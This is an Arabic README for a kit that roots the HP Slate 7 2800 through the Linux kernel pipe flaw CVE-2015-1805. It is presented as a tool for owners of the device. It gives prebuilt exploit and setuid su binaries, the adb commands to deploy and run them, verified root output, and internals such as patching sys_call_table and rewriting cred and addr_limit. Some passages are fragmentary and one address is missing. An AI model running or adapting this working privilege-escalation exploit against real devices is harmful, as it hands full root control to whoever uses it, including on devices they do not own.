
عدة تجذير لجهاز HP Slate 7 2800 بنظام Android 4.1.1 باستخدام CVE-2015-1805.
English | Русский
يحتوي هذا المستودع على حزمة كاملة ومكتفية ذاتيًا للحصول على وصول جذر دائم على HP Slate 7 2800 الذي يعمل بالبرنامج الثابت 1.05.18 والنواة Linux 3.0.8+ عبر استغلال الثغرة المحلية CVE-2015-1805. تم تشغيل الحزمة على الجهاز اللوحي الفعلي، وتم التحقق من النتيجة من جلسة ADB جديدة وبعد إعادة تشغيل عادية.
هذه ليست أداة تجذير Android عامة. الاستغلال خاص بتهيئة نواة HP هذه. لا تشغّله على طراز مختلف أو برنامج ثابت مختلف أو إصدار نواة مختلف.
| المعامل | القيمة المُتحقَّق منها |
|---|---|
| الشركة المصنّعة والطراز | HP Slate 7 2800 |
| Android | 4.1.1، API 16، الإصدار JRO03H |
| المنتج / الجهاز | t7h / pine |
| المعالج | Rockchip RK3066، ARMv7 |
| بصمة الإصدار | hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys |
| النواة | 3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015 |
| ABI | ARM EABI5 32-بت |
| SELinux | غير موجودة في تهيئة النواة (CONFIG_SECURITY معطّلة) |
قسم /system | ext4، مُثبَّت للقراءة فقط افتراضيًا |
يمكنك فحص الجهاز دون إجراء أي تغييرات:
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version
بدلاً من ذلك، استخدم السكربت أدناه. سيرفض المتابعة إذا لم تتطابق بصمة الإصدار أو إصدار النواة:
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL
.
├── bin/
│ ├── hp-slate7-cve-2015-1805-root # verified exploit
│ ├── hp-slate7-install-root # installs su into /system
│ └── hp-slate7-su # minimal setuid-root wrapper
├── src/
│ ├── exploit/ # CVE source and device-specific changes
│ ├── installer/install-root.c # installer source
│ └── su/rootsh.S # minimal su source
├── scripts/
│ ├── build.sh # rebuilds all three ELF files
│ ├── check-target.sh # safe compatibility check
│ └── root-device.sh # verifies, uploads, and runs the kit
├── SHA256SUMS # hashes of the verified bin/* files
├── NOTICE # attribution for the original PoC
└── LICENSE # GPL-3.0
المجاميع الاختبارية SHA-256 للملفات الثنائية المُتحقَّق منها:
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su
التحقق على macOS:
shasum -a 256 -c SHA256SUMS
التحقق على Linux:
sha256sum -c SHA256SUMS
استخدم الملفات من bin/ على الجهاز اللوحي: فهذه هي البايتات الدقيقة التي
تم التحقق منها على الجهاز. دليل build/ مخصص لإعادة البناء محليًا ولا
يتتبعه Git.
CVE-2015-1805 هي خلل في
تطبيقي pipe_read() و pipe_write() في أنوية Linux الأقدم. عندما تفشل
نسخة ذرية، يواصل الكود اجتياز مصفوفة iovec بشكل غير صحيح، مما قد
يحرّك مؤشرًا خارج حدوده. ونتيجة لذلك، يمكن لعملية محلية دون صلاحيات
إتلاف الذاكرة أو تعطيل النواة أو رفع صلاحياتها. نُشر شرح مفصّل للآلية
على oss-security.
يمكن العثور على الإصلاحات، من بين أماكن أخرى، في التزامات نواة Linux
الرئيسية (upstream)
637b58c
و
f0d1bec.
أثبتت نواة 3.0.8+ الخاصة بالجهاز اللوحي أنها قابلة للاستغلال. قبل تعديل
ذاكرة النواة، تم اختبار السباق نفسه بشكل منفصل باستخدام مسبار غير ضار
كان هدفا الكتابة فيه موجودَين في الذاكرة العادية لعملية الاختبار. أبلغ
المسبار عن CVE-2015-1805: VULNERABLE، وظل الجهاز اللوحي متاحًا عبر ADB.
readv() وتغييرات تعيين الذاكرة ومعالجة
مصفوفة iovec كبيرة في كود الأنابيب الهشّ للنواة.sys_call_table بعنوان trampoline صغير بتعليمات ARM داخل عملية الاستغلال.0xffff0008. على الجهاز
المُتحقَّق منه، تكون التعليمات 0xe59ff410، وقيمتها الحرفية تشير إلى
vector_swi = 0xc04d0d40.vector_swi و sys_call_table بشكل مستقل من
أرشيف النواة الرسمي HP Open Source 1.05.10
(SHA-256 للأرشيف:
dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2)
مع defconfig باسم rk30_t7h_dvt_defconfig. إزاحتهما هي 0xc4. لا
يحتوي البرنامج الثابت المثبَّت على OABI ولا على seccomp، لذا فإن
عنوان الجدول النهائي وقت التشغيل هو .كانت الدالة الأصلية current_thread_info() من ترويسات النواة القديمة غير
متوافقة مع Clang الحديث عند -O0: نموذج أولي مبكر قرأ كلمة غير مهيأة
بدلاً من سجل sp وكان يمكن أن يُسقط النواة. في هذا المستودع، استُبدلت
بـ trampoline naked بتعليمات ARM مُتحقَّق منه. لا يتضمن المستودع النسخة
الثنائية المبكرة.
bin/adb من Android SDK Platform Tools؛لا تحتاج إلى Android NDK أو Java أو Python أو fastboot أو محمّل إقلاع (bootloader) مفتوح أو استرداد مخصص (custom recovery) أو تطبيق تجذير APK أو وصول إلى الشبكة. الاستغلال والحمولة مربوطان بشكل ثابت (statically linked).
shasum أو sha256sum للتحقق من النتيجة.لا يزال Android NDK غير مطلوب: يوفر Zig سلسلة أدوات ترجمة متقاطعة (cross-toolchain) ARM musl.
تحقق من الاتصال:
adb devices -l
يجب أن تكون الحالة device، وليست offline أو unauthorized.
انتقل إلى جذر المستودع وتحقَّق أولاً من أن الجهاز مطابق تمامًا:
./scripts/check-target.sh
إذا كانت هناك أجهزة متعددة متصلة، مرّر الرقم التسلسلي إلى كل أمر باستخدام
adb -s SERIAL، أو عيّن متغير البيئة ANDROID_SERIAL.
ارفع الملفات الثلاثة باستخدام الأسماء التي يتوقعها كل واحد من الآخر:
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
عيّن الصلاحيات واكتب الملفات المرحّلة إلى التخزين:
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
شغّل الاستغلال مرة واحدة:
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
المخرجات الناجحة المُتحقَّق منها:
offset:c4
addr:c04d0d40
[+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0
إذا اختفى الجهاز من ADB لبضع ثوانٍ، لا تشغّل الاستغلال مرة أخرى. انتظر عودته:
adb wait-for-device
يتحقق السكربت من بصمة الإصدار والنواة، ويفحص مجاميع SHA-256، ويرفع
الملفات، ويطلب منك إدخال ROOT، ويشغّل الاستغلال، ويتحقق من uid=0:
./scripts/root-device.sh
لأجهزة متعددة:
./scripts/root-device.sh --serial ADB_SERIAL
يعطّل خيار --yes التأكيد التفاعلي وهو مخصص فقط للاستخدام الآلي المتعمَّد:
./scripts/root-device.sh --serial ADB_SERIAL --yes
تحقق من الجذر من قشرة ADB جديدة، وليس من uid الخاص بعملية الاستغلال:
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '
المخرجات المتوقعة:
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...
بعد ذلك، أزل ملفات المرحلة المؤقتة فقط. لا تتم إزالة /system/xbin/su
المثبَّت:
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'
لا تُنشئ الحزمة /data/local.prop ولا تعدّل بيانات المستخدم.
نفّذ إعادة تشغيل عادية ثم تحقق من الجذر الدائم:
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'
أنتج الجهاز اللوحي المُتحقَّق منه النتيجة التالية بعد إعادة التشغيل:
uid=0(root) gid=0(root) ...
تم سحب الملف المثبَّت من الجهاز اللوحي وطابق bin/hp-slate7-su
بايتًا ببايت:
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e
لتشغيل أمر واحد:
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'
hp-slate7-su هو غلاف (wrapper) بسيط عمدًا دون تطبيق Android أو مطالبات
تأكيد أو برنامج خفي (daemon) أو سجل صلاحيات. يمكن لأي عملية محلية قادرة
على تنفيذ /system/xbin/su أن تحصل على الجذر. لا تستخدم هذا الجهاز
اللوحي القديم للبيانات الحساسة بعد تجذيره، ولا تثبّت تطبيقات APK غير
موثوقة.
حدد المسار إلى Zig 0.15.2 المحمول، أو أضف zig إلى PATH:
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh
ستُكتب المخرجات إلى build/:
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su
تحقق من صيغ الملفات:
file build/hp-slate7-*
يجب أن تكون الملفات الثلاثة جميعها ملفات ELF بصيغة ARM EABI5 32-بت. مع
إصدار Zig 0.15.2 المُتحقَّق منه، يُعاد بناء المثبّت و su بشكل مطابق
بايتًا ببايت للملفات الموجودة في bin/. قد يختلف تجزئة الاستغلال بسبب
المسارات المطلقة في DWARF وبيانات الرابط الوصفية؛ كان trampoline الحرج
المكوَّن من ست تعليمات مطابقًا بايتًا ببايت في بناء التحقق. لا تستبدل
إعادة البناء المجاميع الاختبارية للملفات الموجودة في bin/ التي
شُغِّلت فعليًا على الجهاز اللوحي.
unauthorizedافتح قفل الشاشة واقبل مفتاح RSA لتصحيح أخطاء USB. إذا لم يظهر الطلب،
أعد توصيل الكابل وشغّل adb devices -l مرة أخرى.
offline أو اختفاء الجهازانتظر بضع ثوانٍ وشغّل adb wait-for-device. إذا أُطفئ الجهاز اللوحي،
شغّله بشكل عادي بزر الطاقة. لا تشغّل نسخة ثانية من الاستغلال في الوقت
نفسه.
[+] Doneتُستغل الثغرة CVE عبر سباق وقد تفشل نظريًا. أعد تشغيل الجهاز اللوحي قبل إجراء محاولة واحدة. لا تشغّل الملف الثنائي في حلقة: فالسباق الفاشل يمكن أن يُسقط النواة.
su، لكن الأمر يخرج بالرمز 127تحقق من تجزئة SHA-256 للملف. تعامل غلاف بحث مبكر مع argv بشكل غير
صحيح على ARM وخرج بالرمز 127. يحتوي هذا المستودع على النسخة المصححة
بحجم 656 بايت مع SHA-256
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e.
تحقق من الحالة الفعلية لنظام Android:
adb shell getprop sys.boot_completed
adb shell dumpsys window windows
تعني sys.boot_completed=1 أن Android قد أقلع حتى لو كانت الشاشة المادية
لا تزال تعرض إطارًا قديمًا.
استُبعدت طرق أخرى معروفة بأمان أو تبيّن أنها غير مناسبة لهذا الجهاز:
CVE-2013-6282 وCVE-2013-2094 وCVE-2012-0056 وCVE-2013-4787 وDirty COW
وPingPongRoot. تسبب Towelroot/CVE-2014-3153 في تعطيل هذه النواة ويجب عدم
استخدامه. جعل CVE-2014-7951 من الممكن كتابة ملف عبر ثغرة اجتياز المسار
في استعادة ADB، لكن البرنامج الثابت من HP لم يُحمّل /data/local.prop،
لذا لم تمنح هذه الطريقة الجذر.
يستخدم محمّل الإقلاع (bootloader) محمّل Rockchip قديمًا ولم يظهر كجهاز fastboot قياسي. لم يكن وميض استرداد (recovery) أو فتح قفل محمّل الإقلاع مطلوبًا لهذه النتيجة.
يعتمد كود الاستغلال على
mobilelinux/iovy_root_research،
في الالتزام (commit) f945796، والذي يشير بدوره إلى
dosomder/iovyroot. تشمل التغييرات
الخاصة بالجهاز تقليل عدد الخيوط، وإصلاح المهلة الزمنية، واستخدام trampoline
naked بتعليمات ARM، واستعادة جدول استدعاءات النظام مبكرًا، والتحقق من
cred، وتعطيل فرع SELinux غير المنطبق.
تم الحفاظ على الإشعارات الأصلية. يُوزَّع المستودع بموجب ترخيص GPL-3.0؛
راجع LICENSE و NOTICE.
يحمل استغلال ذاكرة النواة دائمًا خطر إعادة تشغيل الجهاز أو إتلاف النظام أو فقدان البيانات. هذه الحزمة مخصصة فقط لجهاز HP Slate 7 2800 تملكه أنت ويتطابق برنامجه الثابت تمامًا. احتفظ بنسخة احتياطية من أي بيانات مهمة، ولا تستخدمها على أجهزة تخص أشخاصًا آخرين.
اكتمل البحث الأمني والتوثيق بمساعدة من OpenAI Codex، المدعوم من GPT-5.6 Sol مع وصول Daybreak Blue للأمن السيبراني.
مواقع المستودع: المصدر الأساسي · github · مرآة للقراءة فقط
| الملف | الصيغة | الحجم | الغرض |
|---|
bin/hp-slate7-cve-2015-1805-root | ELF 32-بت ARM EABI5، static، unstripped | 2,722,320 بايت | يستغل الثغرة CVE، ويحصل على uid 0، ويُشغّل المثبّت |
bin/hp-slate7-install-root | ELF 32-بت ARM EABI5، static، stripped | 22,596 بايت | يعيد تثبيت /system مؤقتًا بوضع rw، ويُثبّت su، ويستعيد وضع ro |
bin/hp-slate7-su | ELF 32-بت ARM EABI5، static، stripped | 656 بايت | يستدعي setresgid(0,0,0) و setresuid(0,0,0)، ثم يُشغّل /system/bin/sh |
0xc04d0e04sp الحالي،
ويحاذيه مع حجم مكدس النواة البالغ 8,192 بايت، ويكتب -1 فقط إلى
thread_info.addr_limit عند الإزاحة 8. لا يحتوي على استدعاءات خارجية
أو prologue أو كود زمن تشغيل من المترجم.sys_ni_syscall في كود HP المصدري؛ المؤشر
المستعاد على النواة المُتحقَّق منها هو 0xc051900c.addr_limit، تقرأ آلية نسخ الأنابيب task_struct الحالي،
وتحدد موقع cred، وتتحقق من البنية باستخدام قيم uid/gid الحالية
والمحاذاة وعداد المرجع وشرط real_cred == cred. فقط بعد هذه الفحوصات
تُصفَّر قيم uid/gid وتُمتلأ أقنعة الصلاحيات بالآحاد.uid=0 وتُشغّل /data/local/tmp/install-root. يعيد
المثبّت تثبيت /system بوضع rw، وينسخ الحمولة إلى /system/xbin/su،
ويعيّن الملكية root:root والوضع 06755، ويستدعي sync()، ويعيد
تثبيت /system للقراءة فقط.